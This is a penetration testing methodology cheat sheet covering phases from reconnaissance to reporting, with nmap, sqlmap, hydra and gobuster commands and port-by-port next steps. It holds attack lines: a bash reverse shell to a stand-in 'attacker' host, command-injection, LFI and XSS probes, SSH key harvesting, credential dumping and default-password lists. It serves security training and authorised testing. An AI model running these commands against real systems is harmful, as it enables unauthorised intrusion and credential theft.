PENETRATION TESTING METHODOLOGY
================================

PHASE 1 — RECONNAISSANCE
Goal: Collect maximum information about target before touching it.

Passive Recon (no direct contact with target):
- WHOIS lookup: domain registration info, owner details
- Google dorking: site:target.com filetype:pdf inurl:admin
- theHarvester: email, subdomain, IP harvesting
- Shodan: find exposed services, default creds, IoT devices
- GitHub leaks: API keys, passwords in public repos
- DNS enumeration: A, MX, TXT, CNAME records

Active Recon (direct contact with target):
- Ping sweep: nmap -sn 192.168.1.0/24
- Host discovery: nmap -Pn --top-ports 100 <target>
- Subdomain brute forcing: ffuf -u http://FUZZ.target.com -w subdomains.txt
- Directory fuzzing: gobuster dir -u http://target.com -w common.txt

Tools for this phase: nmap, httpx, ffuf, theHarvester
Flags: -sn (ping sweep), -Pn (skip ping), --top-ports 100 (quick recon)

--------------------------------
PHASE 2 — SCANNING AND ENUMERATION
Goal: Identify open ports, services, versions, and misconfigurations.

Port Scanning:
- Quick scan: nmap -sT --top-ports 1000 -T4 <target>
- Full scan: nmap -sT -p- -T4 <target>
- Service detection: nmap -sV -sC <target>
- Aggressive scan: nmap -A <target>

Service Enumeration:
- HTTP/HTTPS: httpx -u http://target -silent -status-code -title -tech-detect
- SMB: nmap --script smb-enum-shares,smb-enum-users <target>
- SNMP: nmap -sU -p 161 --script snmp-info <target>
- LDAP: nmap -p 389 --script ldap-rootdse <target>

Security Header Analysis:
- HSTS: prevents SSL stripping attacks
- CSP: prevents XSS attacks
- X-Frame-Options: prevents clickjacking
- X-Content-Type-Options: prevents MIME sniffing
- Missing headers = vulnerabilities to report

Tools for this phase: nmap, httpx
Flags: -sV (version), -sC (scripts), -A (aggressive), -p- (all ports)

--------------------------------
PHASE 3 — EXPLOITATION
Goal: Exploit discovered vulnerabilities to gain access.

Web Exploitation:
- SQL Injection: sqlmap -u "http://target/page?id=1" --dbs
- XSS: inject <script>alert(1)</script> in input fields
- LFI/RFI: test ../../../../etc/passwd in file parameters
- Command Injection: test ; whoami | id in input fields
- File Upload Bypass: rename shell.php to shell.php.jpg

Network Exploitation:
- Metasploit: use exploit/multi/handler
- Password attacks: hydra -l admin -P wordlist.txt ssh://target
- Reverse shells: bash -i >& /dev/tcp/attacker/4444 0>&1

Tools for this phase: metasploit, sqlmap, hydra
Decision: choose exploit based on service version found in Phase 2

--------------------------------
PHASE 4 — POST EXPLOITATION
Goal: Maintain access, escalate privileges, move laterally.

Linux Privilege Escalation:
- Check sudo: sudo -l
- SUID binaries: find / -perm -4000 2>/dev/null
- Cron jobs: cat /etc/crontab
- Kernel exploits: uname -a then search CVE

Windows Privilege Escalation:
- Check privileges: whoami /priv
- Unquoted service paths
- Registry autoruns
- Token impersonation

Lateral Movement:
- Credential dumping: mimikatz, secretsdump
- Pass the hash attacks
- SSH key harvesting: cat ~/.ssh/id_rsa

Tools for this phase: metasploit, linpeas, winpeas

--------------------------------
PHASE 5 — REPORTING
Goal: Document findings for technical and non-technical audience.

Report Structure:
- Executive summary: business impact in plain language
- Vulnerability description: what was found
- Proof of concept: screenshots, command output
- Risk rating: Critical/High/Medium/Low/Info
- Remediation steps: specific fix instructions
- Retest verification: confirm fix worked

Risk Rating Guide:
- Critical: RCE, auth bypass, direct data breach
- High: privilege escalation, sensitive data exposure
- Medium: information disclosure, CSRF
- Low: missing headers, verbose errors
- Info: best practice violations

--------------------------------
TOOL CHAINING LOGIC
Goal: What to run after each tool based on findings.

After nmap:
- Port 80 or 443 found → run httpx to probe web server
- Port 22 found → check SSH version for CVEs, try default creds
- Port 445 found → run SMB enumeration scripts
- Port 3306 found → try MySQL default credentials
- Port 8080 found → run httpx, likely admin panel

After httpx:
- Web server confirmed → run gobuster for directories
- Login page found → try default creds, run hydra
- Tech stack identified → search version-specific CVEs

After gobuster:
- /admin found → try default credentials
- /upload found → test file upload bypass
- /api found → run ffuf for endpoint fuzzing
- /.git found → dump repository for source code

After ffuf:
- Parameters found → test for SQLi, XSS, LFI
- Hidden endpoints found → probe with httpx

--------------------------------
FLAG DECISION MATRIX
Goal: Choose nmap flags based on engagement type.

Stealth engagement (evade IDS):
- nmap -sT -T2 --top-ports 100 <target>

CTF or lab environment:
- nmap -A -T4 -p- <target>

Production network (careful):
- nmap -sT -T3 --top-ports 1000 <target>

Web focused assessment:
- nmap -sT -p 80,443,8080,8443,8000,8888 -sV <target>

Full audit authorized:
- nmap -sV -sC -p- -T4 <target>

Quick host discovery:
- nmap -sn 192.168.1.0/24

--------------------------------
PORT FINDINGS GUIDE
Goal: What each open port means and what to do next.

Port 21 (FTP):
- Check anonymous login: ftp <target> → user: anonymous
- Bruteforce: hydra -l admin -P wordlist.txt ftp://target
- Check for writable directories

Port 22 (SSH):
- Check version: OpenSSH < 7.7 vulnerable to user enumeration
- Try default creds: admin/admin, root/root, root/toor
- Bruteforce: hydra -l root -P wordlist.txt ssh://target

Port 80/443 (HTTP/HTTPS):
- Probe: httpx -u http://target -title -tech-detect -status-code
- Directory bruteforce: gobuster dir -u http://target -w common.txt
- Check headers: missing CSP, HSTS, X-Frame-Options
- Test inputs: SQLi, XSS, CSRF

Port 445 (SMB):
- Enumerate: nmap --script smb-enum-shares,smb-enum-users <target>
- Check EternalBlue: nmap --script smb-vuln-ms17-010 <target>
- Try null session access

Port 3306 (MySQL):
- Try default creds: root with no password
- Check external exposure (should never be public)
- If access gained: show databases; show tables;

Port 8080/8443 (Alt HTTP):
- Usually admin panels or development servers
- Try default creds: admin/admin, admin/password
- Run gobuster with admin-specific wordlist

Port 6379 (Redis):
- Check unauthenticated access: redis-cli -h target ping
- If accessible: config get * dumps configuration
- Can lead to RCE via cron job injection